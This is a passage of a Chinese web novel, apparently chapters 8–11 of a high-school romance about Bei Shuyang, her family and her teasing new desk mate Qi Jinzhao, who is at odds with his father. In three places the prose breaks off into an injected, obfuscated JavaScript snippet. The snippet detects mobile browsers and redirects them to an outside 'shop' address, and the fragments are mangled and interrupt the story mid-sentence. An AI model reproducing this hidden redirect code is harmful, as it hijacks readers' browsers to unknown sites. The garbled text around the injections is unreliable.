老太太平时爱好听曲遛鸟唱曲,最常去的地方就是正乙祠,家里小辈都不怎么爱听曲,回回陪着去,不是半道跑了就是听着瞌睡过去,老太太没少抱怨,总说他们没品味,不懂戏剧的魅力。 这回再也用不上她们了。 因为懂的人回来了,这怎么能让老太太不欢喜。 贺书鞅哭笑不得:“奶奶,你这么做可不对,用人时我们就是乖孙孙,不用了就随手丢弃,这我可不乐意了嗷。” 这话可把李云岚逗得嘴角直往上翘,眼睛眯成一条缝,嗔怪道:“你这丫头,净说些不着调的胡话,你可是奶奶的乖宝,我可舍不得丢。” 老太太说完,双手捧起贺书鞅的脸,目光慈爱地盯着她看了几秒,最后在她的脸颊落下一吻。 祖孙俩又聊了一会儿,以贺书鞅肚子发出抗议声暂时结束对话。 运动完身上黏糊糊的,贺书鞅上楼快速洗了个澡,下楼时刘姨正巧把汤端上桌。 见她下楼,刘姨赶忙招呼她:“来的正好,我刚要上去喊你,快坐下先喝口汤垫吧一下,我去给你盛饭。” “刘姨你少盛点。” “知道了。” 晚饭时间早过了,加上时间太晚,贺书鞅只想对付一口,吃多晚上又容易睡不着。 饭吃完,贺书鞅跟老太太打了声招呼就回房间写作业,才放完长假回学校第一天,各科老师都很默契没有留太多作业,给大家留了缓冲的时间。 贺书鞅把数学试卷拿出来,笔刚拔开笔帽,身后响起敲门声。 “进来。”边说边低头开始写试卷。 “祝祝。”李云岚推门走进来,看她坐在书桌前写作业,把洗好的水果放在书桌上,“写作业呢。” “怎么了奶奶?”贺书鞅听到是奶奶的声音,放下笔抬眼望向李云岚。 “我来给你送水果,顺便给你说一件事。” “你说。” “明晚你要是没什么要紧事,放学先回家,你林奶奶刚给我打电话,明晚邀请我们全家去聚福德吃饭。”李云岚说,“能不缺席咱尽量不缺席。” 闻言贺书鞅点点头,“明晚没事,放学我直接去聚福德等你们吧。” “也行,那你继续写吧,奶奶不打扰你了。” “行。” “水果吃完,写完早点睡乖乖。” 贺书鞅哭笑不得:“知道了奶奶,你也是。” “知道了知道了。”李云岚敷衍地应下,不给贺书鞅说话的机会,快步退出房间。 贺书鞅将注意力全身心投入到试卷上。 一高大部分学生都提前自学完课本上的内容,老师留的作业基本都是自己出的题,这些对贺书鞅来说难度系数不大,一般半个小时左右她就写完一张卷子。 三科卷子全部做完已经是九点半,贺书鞅洗漱完上床,闭眼躺了好大一会儿,依旧没什么睡意,打开床头的台灯,抱着手机刷起视频。 —— 祁津昭跟梁牧珩在外面随便吃了点东西,吃完时间不早两人骑车回家。 最近梁牧珩都住在祁家。 快到家,祁津昭忽然想起白天奶奶的叮嘱,问梁牧珩:“你还准备离家出走到什么时候?” 梁牧珩侧头看他,“干嘛,真嫌弃我了?” “想多了。”祁津昭没隐瞒,如实说,“我才懒得管你,是表舅爷让奶奶劝你回家。” 祁津昭跟梁牧珩不止是相识多年的好友,两人还是表兄弟,祁津昭的奶奶跟梁牧珩的爷爷是表兄妹。 梁牧珩这次跟家里闹的比较僵,最开始他是住酒店,梁贤把他卡停了,想逼他就范,可这次梁牧珩铁了心想反抗到底,好在出门身上还揣了有一千来块的现金,白天在学校晚上跑去网吧包夜。 谁给梁牧珩打电话他都不接,恰好这时候祁津昭来京都,知道这事跑去网吧逮人,梁牧珩打不过他也说不过他,被带回祁家。 现在听祁津昭提起家里人,霎时梁牧珩的脸冷了下去。 “连你也要劝我回去吗?” 这时梁牧珩心里却已经在盘算,要是祁津昭敢点头,转身他就走。 祁津昭抬手就给梁牧珩后脑勺一巴掌,“我吃饱撑着来劝你。” 梁牧珩默了一秒,“你最好别劝我,不然咱俩以后兄弟都没得做,这次是他们做的太过了,明知我下半年在备赛,还给我安排出什么国,我是人有自己的思想,又不是他们的提线木偶。” 说起这事,梁牧珩满腹的委屈。 祁津昭知道事情的始末,更懂梁牧珩的心情,不然他也不会多管闲事。 “这事我就是替老太太走个流程,祁家你想住多久住多久。”祁津昭顿了顿,还是补上一句,“做错事的是你爸妈,别迁怒无辜的人,你不想见他们不想接他们电话这都可以,但表舅爷没做错什么,等你心情好点了,记得给老人回个电话,不过到底怎么做看你自己。” 梁牧珩摸了摸鼻子,“你还说你不是来给他们当说客的?” 祁津昭轻嗤了一声:“我看起来很闲?” 梁牧珩:“……” “你明明知道我现在谁都不想理,还让我接家里的电话。” “你是不是生气把脑子给气没了?”祁津昭瞪了梁牧珩一眼,接着说,“我说了你要怎么做是你的自由,但做错事的是你父母,要追你追他们的责,你爷爷又没做错什么,别一棒子都把人打死。” 梁家人在这件事每个人扮演什么角色,祁津昭看得很透,就是知道梁老爷子是无辜,加上老人家每天都打电话来关心梁牧珩的近况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202946|197270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他本来就是爷爷奶奶带大的孩子,自然是有些见不得梁牧珩把恼火迁怒到无辜的老人身上。 自知理亏,梁牧珩不敢去看祁津昭,闷闷回了句:“我知道了。” 祁津昭这次没理他,一个拐弯车子骑进院子里。 当瞥见车库多出一辆红旗H7,祁津昭视线短暂的停顿一下,面无表情停好自行车,转身朝着内院走。 他跟梁牧珩一前一后进屋,家里很安静,如果不是客厅还亮着灯,真以为没人在家。 视线扫到鞋柜多出的那双男士皮鞋,祁津昭轻嗤了声,看来今晚耳根是真没法清净了。 梁牧珩不明所以看了他一眼:“你笑什么?” “家里来了个不速之客。”祁津昭语气淡淡,细听能辨出里面还有一丝讥讽。 话音刚落,梁牧珩的脸色立马变了,手忙脚乱又蹬上才换下的鞋子。 祁津昭睨了他一眼,不解:“你干嘛?” 而回应祁津昭的是梁牧珩的背影,瞧见梁牧珩已经握住门把手,眼疾手快拉住他的衣摆。 “放心,不是你家里人。” 梁牧珩愣了半秒,“那是谁?” “一个……” 祁津昭话还没说完,楼梯口传来一阵沉重有力的脚步声,视线循声而去。 梁牧珩也听到动静,随着祁津昭的视线一道看向楼梯口。 不多时,一个挺拔高大浑身充斥着久居上位沉稳与果决的身影出现在他们面前。 从男人面相看约莫四十来岁,利落的短款侧背,身着深黑行政夹克衫,站在那里腰背挺得笔直,面部轮廓冷硬又凌厉,最摄人的还是他那双眼睛,眼型偏长,瞳色深邃如墨,看人时自带一股压迫感。 细看,男人的眉眼与祁津昭有六分相像,此人正是祁津昭的父亲祁凛明,人如其名正气凛然,前不久刚升厅长。 祁凛阳打量的目光过于明显,祁津昭想忽略都忽略不掉。 “你先上去。”这话祁津昭是看着祁凛阳,却是对梁牧珩说的。 梁牧珩立马领会,这是好友对自己的暗示。 走到祁凛阳身旁时,梁牧珩还是停下脚步,恭恭敬敬打了个招呼:“表叔,我……我先上去。” 祁凛阳的气场太强大,饶是梁牧珩见过不少大场面,依旧还是会被这气场给镇住。 好在,祁凛阳只是看了他一眼,“去吧。” 话落,梁牧珩快步上楼,好似怕晚一秒祁凛阳会反悔。 祁津昭盯着梁牧珩逃也似离开的背影,心中腹诽道真出息。 “才回来几天,就开始野了?”祁凛阳说这话时,眼神带着审视落在祁津昭身上。 祁津昭面无表情,早料到会有这么一出,才让梁牧珩先上去。 他最看不惯的就是祁凛阳这副装模作样的做派,虚伪得要命,哪次不是借着父亲的身份对他耍威风。 “祁厅,这里是我家,不是你耍官威的地方。”言下之意想耍威风换个地。 “祁津昭你什么态度?”祁凛阳冷着脸,指着祁津昭的鼻子便骂,“书读到狗肚子了,有你这么跟老子说话的吗?” 祁津昭不恼,双手交叉环胸,脊背轻抵墙面,似笑非笑望着在强压怒火的祁凛阳,语气染上几分讥讽:“这回您是我老子了,早前您干嘛去了?” “祁津昭你再目无尊长,信不信我今天抽死你。”说着祁凛阳手已经举起来。 祁津昭冷着脸,深邃的凤眼里浮出嘲意:“你来。” 最好是今天就能打死他,不然他有的是法子气祁凛阳。 “你真以为我不敢动手吗?”祁凛阳的声音因为愤怒而颤抖,此时已经被祁津昭激得怒火中烧,可看着面前这张与蒋韶凝有四分相似的脸,终是重重地垂下手。 说到底,祁津昭变成今天这样,他是有脱卸不掉的这样,对这个儿子他是有愧的,同样也是头疼的。 明明小时候祁津昭不这样,怎么长大就变成这副鬼样子。 祁津昭料定祁凛阳不会动手,继续刺激他:“我说了,您想动手尽管来,为人子我还能怎么着?” “祁津昭你没完了是吧?”祁凛阳调整好的情绪又被祁津昭挑起,这会儿被气得胸口直疼。 “您还打吗?不打我可走了。”祁津昭依旧我行我素,根本不在乎祁凛阳怎么想。 在他看来,祁凛阳不过就是生理上的父亲,这么多年从来没尽过一天父亲该有的责任,回回见面对他不是说教就是骂,哪次不是以剑拔弩张开场,腥风血雨结尾。 作为父亲的威严一而再再而三被祁津昭这么挑衅,祁凛阳怎么受得了。 “你站住!” “祁凛阳,你这是要做什么?” 9. 春动 这浑厚又威严的声音不是祁老爷子还能是谁。 祁津昭抬眼果然见祁建鸣在往这边走来。 老爷子面前祁津昭眼底冷意褪去,转眼嘴角扬起一抹笑,乖巧喊了声:“爷爷。” 祁建鸣常年身居高位,养成一副喜怒无形于色的威严模样,唯独只有面对爱人时眼底才会露出柔情。 “阿昭,奶奶让你上去。”祁建鸣见祁津昭不动,淡淡瞥了他一眼,“还不快去?” “知道了爷爷。”祁津昭转身离开。 知道这不过是老爷子支开自己的借口罢了,反正他的目的已经达到,卖老爷子一个面子。 不过祁津昭看老爷子那个脸色,想必他走后,楼下那对父子也是一场腥风血雨。 老太太常说他们三个里就没有一个是省油的灯,无论是祁津昭跟祁凛阳,或是祁建鸣跟祁凛阳,祁家父子不和就像一个魔咒,紧紧箍在这三代人身上。 也就只有在老太太面前三人会逢场作戏,上演父慈子孝,老太太不在那是一点不带装,互相撕破彼此的伪装。 回房间没多久,祁津昭就听到院里传来汽车引擎的声响。 他站在落地窗前看着那辆红旗H7渐渐驶远,直到消失在黑夜里。 祁津昭唇角勾起一抹嘲弄的笑,不知过了多久,他将窗帘拉上。 他跟祁凛冬的关系,他们是很典型的中式父子。 而这种关系是最复杂的,像君臣,像冤家,唯独不像父子。 祁津昭讨厌这种卑劣的亲子关系,在面对父亲的指手画脚,居高临下,打压指责,第一反应就是去推翻。 他不接受霸权主义,更不愿意被困在这种不平等的牢笼里。 只有当儿子不再试图“成为好儿子”,父亲不再挣扎“成为好父亲”,他们才可能真正相遇——不是作为君臣、仇敌或朋友,而是作为两个被抛入世界的、平等的荒谬存在。 —— 一夜过去,天边泛起鱼肚白,秋日的晨风带着些许凛冽,白色的纱帘被轻轻吹起一角,在空中停了几秒随后落下,接着又被吹起,反反复复,发出沙沙的声响。 阳光透过窗户,散落在床上少女的睡脸上。 “叮铃铃……叮铃铃……” 一阵刺耳的闹铃声打破房间里的寂静。 贺书鞅微微皱眉,伸手往床头柜摸,胡乱摸了约莫一分钟,终于摸到手机。 关掉闹钟,她又闭上眼睛,将被子拉到头顶,试图把刺眼的阳光隔绝掉。 眼皮渐渐变重,困意袭来。 恍惚间,听到门口似乎有人在走动,紧随其后房门被敲响。 贺书鞅有些烦躁,缩在被子里双手将堵住耳朵。 “祝祝起床了。” “贺书屹你好烦人。”贺书鞅有很严重的起床气,这会儿已经在心里骂起贺书屹。 “妹妹,你再不起来我可要进去了。”贺书屹早习惯这丫头的作风,根本不带怕。 又等了两分钟,见里面还是没动静,贺书屹也不再催促,直接打开房门,刚踏进一只脚,迎面向他砸来一团东西。 根本来不及细看,贺书屹的手先一步做出反应,接住后垂眼一看,原来是一个白色流苏边的抱枕。 贺书屹抬眼看向始作俑者,少女背对着他埋在被褥里,微卷的长发洒落在枕头上,一只手耷拉在床边。 贺书屹站在她的床边,伸手拉住被子一角,正打算一把掀开,手腕忽然被一道力量禁锢住,垂眼瞧见得是一只纤细白皙如羊脂白玉的手,指尖力道不轻,带着不容分说的强势。 不等他有所动作,那只玉手发力,贺书屹重心一失,整个人被甩到床尾,还好床是软的。 贺书屹抬眼撞上一双清透似黑水晶的美眸,眼神里没有半分笑意,只有一种淡到极致的清冷,像月光被黑夜裹着,明亮但似乎没有温度。 “妹妹……”贺书屹干笑了两声,“你……起来了?” 贺书鞅不动声色踹了贺书屹一脚,很快传来一道“扑通”的闷响,确认人滚下床她才好心情地勾了下唇。 “嘶——” 床尾传来一道吃痛的抽吸声。 贺书鞅将贴在额前的碎发往后抓,起身走到贺书屹跟前,居高临下睨了他一眼。 面无表情语气极冷地吐了个字:“该。” 贺书屹怒目圆睁,咬牙切齿喊她:“贺、书、鞅。” “怎样?”贺书鞅同样瞪着他,气势比他还甚。 别看贺书屹这会儿脸色跟锅底一样黑,实际就是个纸老虎,压根不敢对她怎么样。 果不其然,四目对峙都不到一分钟,贺书屹先一步垂下眼。 “你个没良心的臭丫头,好心来喊你起床,你就这么对待我,以后再也不对你好了,坏丫头!!”贺书屹双手捂住胸口,喋喋不休地控诉着贺书鞅的行为。 伤心欲绝的模样,好生让人心疼。 要不是贺书鞅了解他,心许真就心软了。 “赶紧出去,我要换衣服。”说罢,贺书鞅头也不回走进卫生间。 “贺书鞅你就不能哄哄我吗?” 贺书屹气急败坏的声音隔着玻璃传进贺书鞅耳中,挤牙膏的手一顿,想了下突然露出一抹漫不经心的笑。 “ayaneo3顶配款能让你闭嘴吗?” 话音刚落,贺书鞅听到贺书屹激动不已的笑声传来。 “能,这可太能了妹妹!” “哥现在想给你一个大大的拥抱。” 贺书鞅扶着洗漱台,一阵恶寒袭来,不受控地抖了下肩膀,“现在你滚,我还能给你买。” 贺书屹听出贺书屹的嫌弃,特别有眼力见地转身往门外走,边走还不忘嘱咐:“妹妹,哥就不打扰你了,别忘了我的ayaneo3。” 很快,房间安静下来,贺书鞅知道是贺书屹走了,低头继续洗漱。 ayaneo3顶配一万多对贺书屹来说不算贵,也就半个月零花钱,可那家伙因为有保送名额傍身,开学第一天就逃课去打游戏,这事被贺景亭知道,家法伺候完又连着罚了两个月零花钱,现在是脸比兜还干净。 偏偏贺书屹爱玩游戏,这不最新款游戏机刚出,就磨着家里人给他买,磨完大哥磨二哥,可惜那两兄弟都没有搭理他,转头又来磨贺书鞅,连着磨了一周。 要不是今早被贺书屹吵的脑袋疼,贺书鞅根本不可能答应他。 —— 一高是市重点高中,这里有最顶配的资源,硬件设施齐全,老师教学经验丰富,大部分老师都是有竞赛、科研等背景,能提供更优质的教学方法,每年高考会给对面华大,隔壁京大输送不少人才。 这里提倡尊重教育,首当其冲的就是学生身心健康发展,八点上课六点放学,没有晚自习,其次是高效的因材施教课堂模式,整体学习目标明确,竞争意识强,形成良性学习氛围,易激发主动性和上进心,大部分学生都是全能型。 这不,都七点五十五了,校门口还是不少学生正悠哉悠哉走着。 贺书鞅跟贺书屹这对兄妹就是其中之一。 两人在德育楼前分道扬镳,高二在左,高三在右。 贺书鞅抬手看了眼手腕的表,已经七点五十八,还有两分钟打铃。 此时各层楼梯跟楼道随处可见,有不少跟她一样卡点来的学生,这在一高不是什么稀罕事,贺书鞅在打闹声与嬉戏声中加快脚步往上走。 一高上学时间是晚,可规矩一个也没少。 每周各年级会评选一个两个最优班级,胜出的两个班级不仅会有荣誉班级的称号,还会额外多出一千块的班费,大家都很积极维护班级的分,倒不是因为这个钱,而是这个年纪的孩子多少都有点争强好胜。 而最优班级的考核其中一项就包括迟到。 没记错,这周她们班已经有五个全优,再来五个下周就是最优班级。 贺书鞅是卡在五十九分进的教室,刚拉开椅子准备坐下,身后忽然传来一阵不轻不重的脚步声,她条件反射回头,脚步声同时戛然而止。 一大片高大的阴影压下,入眼的是一件黑色卫衣,黑色书包带松松垮垮挂着一侧肩头,双手随意插在兜里,整个人透着一股漫不经心的松弛感。 贺书鞅心中其实已经有答案,还是抬眼往上扫,他恰好也垂眼,视线不经意间对上,在空中短暂交缠,只一瞬,她便收回视线。 果然是他。 贺书鞅识趣地侧开身,等了几秒不见人动。 她扭头望向他,淡淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202947|197270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的调侃:“傻站着做什么?进去啊。” 贺书鞅心想,这次主动让他了,又不进,难道是想让她来请他不成? 听到她的声音,祁津昭垂眼看她,“那……谢了。” 这时不知道谁来了一句:“纪律部的来了。” 贺书鞅侧目往门口看去,果然看到纪律部的同学手里拿着本子,正在站隔壁班的门口,走在最前头的正抬脚往她们班这边来。 她顾不得上再调侃祁津昭,一把拉过拉住他的手,将人往座位上拖,直到把他在按坐在椅子上,她才转身坐回自己的位置,速度极快动作一气呵成。 贺书鞅余光瞥见祁津昭正盯着自己看,嘴巴张了张似乎打算开口。 她赶紧压低声音:“嘘,先别说话。” 并用眼神示意祁津昭往门口看。 这时,纪律部的人已经走到班级门口,整个班级寂静地只剩下翻书声。 祁津昭瞬间了然,唇角扯了个很浅的弧度。 心想,贺书鞅这人还挺“复杂”。 而此刻“复杂”的贺书鞅视线若有似无地跟在纪律部那帮人身上,等确定人已经走远,她才扭过身,一只手搭在课桌上,一只手扶在祁津昭的椅背上,姿态闲散地看着他。 吊儿郎当来了句:“你刚要说什么?” 闻言,祁津昭微侧过脸看她,目光落在身旁的女生身上,下颌线在光线下拉出干净利落的线条,手肘随意搭在课桌上,指节轻抵桌面,整个人松松垮垮地倚着,姿态散漫又慵懒,连眼神都带着几分漫不经心的温柔。 “想不到贺同学集体荣誉感这么强。” 这么俊俏的一张脸,说出来的话着实欠揍。 贺书鞅腮帮子鼓起,睨了他一眼,“狗嘴里吐不出象牙。” 祁津昭往椅背上一靠,身体微微后倾,嘴角噙着一抹漫不经心的笑,眼底藏着几分戏谑,看着她佯装生气的模样,半点不慌。 “我是真心实意夸你,不领情就算了,还骂我你过分。” 贺书鞅唇角极轻地往上挑,扯出一抹带着点凉又带着点傲娇的冷笑,“呵呵。” 望向祁津昭时贺书鞅的眼尾微微上挑,明明没真生气,那副不屑又傲娇的模样,倒像在说“少跟我来这套”。 祁津昭依旧懒懒靠在椅背上,身子微微前倾一点,故作严肃地皱起眉,语气里却藏着压不住的笑意:“我还没生气呢,你怎么反倒先生起气来了?” 贺书鞅不说话,瞪了他一眼,转过身不再理会他,从书包拿出上午需要用到的课本,叠放在课桌的左上角。 祁津昭指尖轻轻敲了敲桌面,眼神戏谑地扫过她鼓起来的脸颊,忽觉她的模样像极一只炸毛的小猫。 “真生气?” 贺书鞅权当没听不见,翻开英语课本,径直翻开最新的那课,随手从笔画里掏出一只笔。 “喂,你要怎么样才不气?” 贺书鞅指腹抵在笔的尾端轻轻一按,“咔嚓”一声笔头利落露出尖,垂眼扫向课本,在核心句下面稳稳画出一条长线,又在一旁的空白处标注出来语法用语。 见她连头都没抬一下,祁津昭知道彻底把人得罪了,心虚地摸了摸鼻子,微微倾身靠近,语气带着几分哄意:“你气归气,别不理人啊。” 贺书鞅原本没气,但是听到他这句话是真的被气笑了。 “我不知道你智商怎么样,但你情商……”贺书鞅侧头看他,压低声音一字一顿咬牙切齿道,“是、真、的、很、低!” 祁津昭见状也不恼,反倒是放软了声音:“不这样你怎么会理我。” 感情是在玩欲擒故纵这出。 贺书鞅微微动了下唇瓣,还没来得及开口,就又听见他说。 “你总得给点反应,我才知道怎么哄你有效果。” “所以,你就来这一出?” “这不是没办法才出此下策。” 贺书鞅将笔放下,好整以暇盯着他问:“那你准备怎么哄?” “那你想我怎么哄你?”祁津昭语气带着点得逞的慵懒,又将问题抛回给贺书鞅。 贺书鞅盯着他看了两秒,忽然嗤笑一声,语气阴阳怪气道:“有你这么哄人的吗?哄人还需要我教,那算你哄还是算我自己哄自己?” 10. 春动 祁津昭眉梢一挑,目光牢牢锁在她脸上,语气理直气壮:“我这叫精准定位,问清楚了,才能更好哄你。” 贺书鞅轻哼了声,随口道:“行啊,早自习结束你去三食堂给我带一个鸡腿饼,我就不生气了。” 祁津昭愣了半秒,眼底掠过一丝怀疑,“就这?” 还是不敢相信,祁津昭刚才可是哄了半天贺书鞅半天,都不愿意给半个眼神,现在只要他完成这么简单的要求就能消气? “就这。”贺书鞅点头。 “行,你就等着吃吧。”祁津昭见她是真松口,嘴角已经忍不住往上扬。 不过就是一个鸡腿饼而已,能难倒他? 贺书鞅回过头垂下眼睫,视线重新落到摊开的英语课本上,长长的睫毛在眼下投出一片阴影,嘴角微不可察地勾了下。 心里默默吐槽,真是个大傻子。 一高占地有五百余亩,建筑面积十八余万平方米,有一院四组团,一院指京都书院,四组团则是高一高二高三校区和初中部,单单只是教学班就有一百一十七个教学班,在校学生有六千余人,食堂开设了有五个。 高二的学生在五号教学楼,离三食堂最远,跑着去一来一回都要花费八九分钟,课间休息一共就十五分钟时间,光是路程就花费掉一大半的时间。 更不用说三食堂的鸡腿饼出了名的物美价廉,天天早自习结束,窗口前就排起长队,大多都是起晚没早饭的学生。 贺书鞅有幸排过一次,那天特倒霉,好不容轮到她,饼还卖完了。 想吃饼是真的,想给祁津昭一个教训也是真的。 早自习结束铃声刚响,贺书鞅听到身旁传来一道不轻不重的滋啦声,是椅子在地面划动发出的轻响,余光不自觉扫向邻座。 只见祁津昭从臂弯抬起头,额前碎发被压得有些凌乱,放空了几秒,他慢悠悠从椅子上站起身,抬手揉了揉发酸的后颈。 似有感应,这时祁津昭垂下眼睫,与贺书鞅的目光对上。 “有事?”祁津昭刚睡醒,嗓子低缓又沉,干涩里透着几分刚睡醒的散漫。 “你要出去?”贺书鞅问他。 祁津昭淡淡点了下头,眼底还残留着未散尽的睡意,“去买饼哄你。” 寥寥几个字,落在空气里,轻轻的,有点软,像晚风缱绻绕颈,听得人耳根发麻。 贺书鞅垂下眼帘,手指无意识绞着衣角,默了两秒才轻声说道:“英语作业,交一下。” 老师前一晚布置的作业一般都是早自习结束,由各组组长收齐交给课代表,然后课代表交给老师。 贺书鞅是英语课代表,同时也是一组的组长。 “我没写。” 说实话,祁津昭这副坦然的样子有把贺书鞅给惊到,不过转念一想,这家伙昨天才转来,八节课有七节半都在睡觉,又能知道作业是什么。 贺书鞅掀起眼皮,望向他时眼底有化不开的惆怅,故作不满道:“行吧,那今天就算了,我跟老刘求个情,明天你不能再这样了,会让我在老师面前很难办。” 祁津昭刚要顺着她的话点头,忽地想到什么,眉峰轻轻一蹙,眼底掠过一丝为难,只望着她,也不说话。 贺书鞅是个心直口快的,最见不得祁津昭这副欲说不说的模样,目光柔和了几分,还是关心道:“你是有什么顾虑?” 祁津昭歪头盯着她看了几秒,似是随口问道:“我说了,你就会帮我吗?” 贺书鞅抿着唇思考了几秒,毫不犹豫点头,“你需要的话我会帮你。” 倒不是她有多热心肠。 祁津昭挨打这件事,虽然贺书鞅已经道过歉了,但心里始终还是过意不去,昨晚睡前她还在盘算怎么弥补祁津昭,现在他给机会,自然是要接着。 说白了,就是不想欠着他。 “你也知道,我才转来,在这里谁都不认识,唯独你……”祁津昭停下来意味不明地看了她一眼,又紧接着又继续往下说,“老师说的那些知识点也是半知半懂,更不要说那些作业要怎么写,我是一点头绪都没有,你能帮我吗?” 说完祁津昭垂着眼诚恳地望着她,语调间带着恰到好处的自然。 贺书鞅心想,原来就这点事。 “那你昨天怎么不说?”说完贺书鞅又觉得自己这话说的很容易让人误解,又找补了句,“不过现在也不晚,你中午是出去吃还是在学校吃?” “我不吃饭。” 短短四个字怎么听起来怪怪的,有点委屈又带着点无奈。 贺书鞅眉头不自觉紧蹙,“怎么能不吃饭呢?” 祁津昭没说话,只是用那双漂亮的凤眼静静地看着她。 贺书鞅又将他刚才的话回味了遍,很快反应过来怎么一回事。 怪不得…… 昨天她只当是祁津昭这人缺觉,谁曾想这家伙是缺根筋。 笨死算了。 “不吃饭对身体不好的,而且下午会容易没精神上课。”贺书鞅抬起脸,眼眸清澈,真诚地向他发出邀请,“中午你跟我去食堂吃吧,吃完饭我带你去小卖铺买学习用品,昨天你不是加了我微信,晚上作业要是有不懂的,你给我发微信。” “可以吗?会不会太麻烦你了?”祁津昭眉眼罕见地露出难色。 贺书鞅不在意地摆摆手,“举手之劳,不麻烦,就这么说好了,我先去收作业。” 话音刚落,贺书鞅从座位起身,抬眸时他正好俯下身,漆黑狭长的凤眼隐约浮现出几分笑意。 随后,他薄唇轻启:“谢谢你啊,贺同学。” 语气透着一股真诚。 “不用客气。”说完贺书鞅去第一排收作业。 收着收着,贺书鞅总感觉哪哪都透着股不对劲,似乎有什么东西被自己忽略掉了,具体是什么又想不起来,目光不自觉地重新落到那道身影上。 此时少年是背对着她在往后门走,他的背影高挑挑拨,透着一股干净的少年气,他走得不快,宽松的黑色卫衣随着动作轻轻摆动,勾勒出漫不经心的味道,走到门口时他侧了侧身,随即隐入走廊的光影里。 贺书鞅缓缓收回视线,心道想不明白就先不想了,还是先把手头的事干完了再说。 收完本组最后一本作业,贺书鞅回到座位,将其他组交上来的作业交叉叠放,码齐后她一把抱起。 喊上是荆两人一块去办公室交作业。 课间的走廊,是学校最热闹的地方。 阳光斜斜照进走廊,投下一片片光斑,整个楼层的教室的门都是敞开的,大课间的走廊,一下子就热闹起来了。 有人靠在栏杆上聊天,有人拿着课本在背书,还有部分调皮的学生在打打闹闹,无论是脚步声、说话声、桌椅挪动的余响混在一起,都使得整条走廊充满鲜活和喧闹,是少年人特有的朝气。 一高教学楼每层教师办公室都是统一设置在最左侧,从一班走过去需要一段距离。 路上是荆给贺书鞅分享昨天在学校论坛上的所见所闻。 “书书,你知道你同桌什么来历吗?” 再大来历终归对贺书鞅来说,跟祁津昭的走向就两种可能,不幸的话就是还要同窗一年多的普通同学,幸运的话也就是再同桌几天,要知道那么清楚干嘛。 但贺书鞅不能让是荆的话落地,还是顺着问:“什么来历?” 是荆扫了眼四周,侧身超贺书鞅凑近了些,抬手掩住嘴,小声道:“听说他之前是蜀川一中的,全国联赛金牌,直接保送到蜀川七高,就是跟咱们学校并排那个很牛的学校,有知情人士透露,他本来是转去隔壁二高,但是因为他数竞成绩特别好,被咱们学校挖过来,据说是拿来给你们竞赛班当底牌用的。” 贺书鞅听到这个消息没有很吃惊,别看祁津昭这人表面做什么都漫不经心,实际跟她是一类人,特较真力求最好,且什么都想尝试,说白了就是慕强那一类。 不过对祁津昭来竞赛班这事贺书鞅是存疑的,上月中旬高联,她并没有看到名单上有祁津昭这号人,没参加高联就意味着没有省奖,更没有省队名额,也就没有任何的渠道报名CMO ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是荆刚有道不会的题正问我呢。”贺书鞅脸不红心不跳扯着慌,身子往旁边侧了侧,对着刘一诺又道,“老师您先进。” 刘一诺在办公椅上坐下,从纸盒抽了两张纸边慢条斯理擦着手,温柔体贴道:“什么问题不会,需要我解答吗?” 是荆放作业的手一顿,默了半秒,赶忙摇头道:“不用了老师,书书给我提供了清晰的思路。” “行,同学之间就要互帮互助,书鞅做的很棒。”刘一诺主张鼓励式教育,从不吝啬对每个学生说“真棒”。 别看刘一诺年纪不大,但她这个班主任可是很受学生爱戴的,因为她足够懂学生,自始至终都是站在学生的角度去看待问题,从来不会特别优待某一位学生,再差再不好的学生她给足耐心。 贺书鞅交完作业准备跟是荆走,刘一诺说找她有事把她留下。 是荆走后,刘一诺才问:“下午要回竞赛班吗?” “联赛刚结束,在等成绩,我跟教练请了两天假,明天回。” “那有需要随时来找老师。” 贺书鞅乖巧地点头,“好的老师。” “老师还想请你帮个忙,你看你方便吗?”刘一诺很尊重每一位学生,从不会将自己的想法强加在学生身上。 “老师您说,能帮得上我一定会帮您。” “是这样的,祁津昭同学不是刚转来我们班,对新环境可能还不是太适应,如果他有需要帮助的地方老师希望你能帮帮他。” 贺书鞅迟疑了两秒,还是如实道:“好的老师,不过竞赛班最近在冲刺阶段,往后回班里的时间可能会越来越少,祁津昭要是短时间内适应不过来,还是比较建议您给他换个新同桌。” “那不会。”刘一诺笑笑,“他明天下午也要去竞赛班。” 贺书鞅表情一滞。 所以那个帖子是真的…… 这时候,贺书鞅才后知后觉,祁津昭这个狗东西好演技,自己居然真叫他给骗了! 11. 春动 走到教室门口,贺书鞅整个人都还是有些恍惚。 心口有一股说不清的情绪在压着她,上又上不去下又下不来,很是憋屈。 长这么大,还是头一回被人耍,这搁谁谁不气。 亏得她还大发善心想帮他,结果呢,人家压根就没把她当回事。 如果早上是佯装生气,那此刻她是真的生气。 要是现在祁津昭站在贺书鞅面前,那么指定是会给他来一脚。 想着,贺书鞅抬脚往教室走,前脚刚踏下去,手臂被一股力量拽住。 贺书鞅面无表情回头,看到是是荆脸上表情松动了下。 